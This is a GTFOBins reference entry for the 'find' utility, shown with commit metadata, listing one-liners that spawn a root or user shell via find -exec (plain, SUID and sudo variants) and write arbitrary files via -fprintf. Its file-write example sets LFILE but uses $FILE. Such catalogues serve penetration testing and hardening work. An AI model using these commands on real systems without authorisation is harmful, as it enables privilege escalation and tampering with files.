GTFOBins.github.io/_gtfobins/find.md
B0nk3rZ e8e9b2bc4b
Add find file-write
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-12-02 11:25:56 +01:00

358 B

functions
shell suid sudo file-write
code
find . -exec /bin/sh ; -quit
code
./find . -exec /bin/sh -p ; -quit
code
sudo find . -exec /bin/sh ; -quit
description code
DATA is a format string, it supports some escape sequences. LFILE=file_to_write find / -fprintf "$FILE" DATA -quit